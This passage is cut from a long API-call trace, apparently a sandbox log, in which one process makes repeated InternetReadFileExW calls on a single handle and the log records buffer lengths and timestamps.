lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x24b, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.613] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.613] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.613] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.614] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1ec, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.614] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.614] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1a3, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.614] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.615] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.615] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x2bf, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.615] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.615] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x13e, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.615] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.616] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.616] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x39b, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.616] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.616] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x5d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.617] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.617] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.617] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x24d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.617] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3d9, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.618] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.619] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.619] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x304, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.619] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.619] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xa3, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.619] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.620] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.620] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x2fb, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.620] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.620] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x74, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.621] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.621] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.621] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3bf, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.621] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.622] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xd6, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.622] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.622] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.623] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3c5, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.623] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.623] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.623] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.623] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3cd, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.624] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.624] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x73, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.624] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.624] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.625] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.625] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xae, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.625] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.625] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x109, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.626] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.626] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.626] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x324, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.626] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.627] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x104, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.627] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.627] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.627] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x323, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.627] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x350, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.628] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.628] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.628] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x89, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.628] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.629] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x66, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.629] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.629] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.629] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x26d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.630] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, 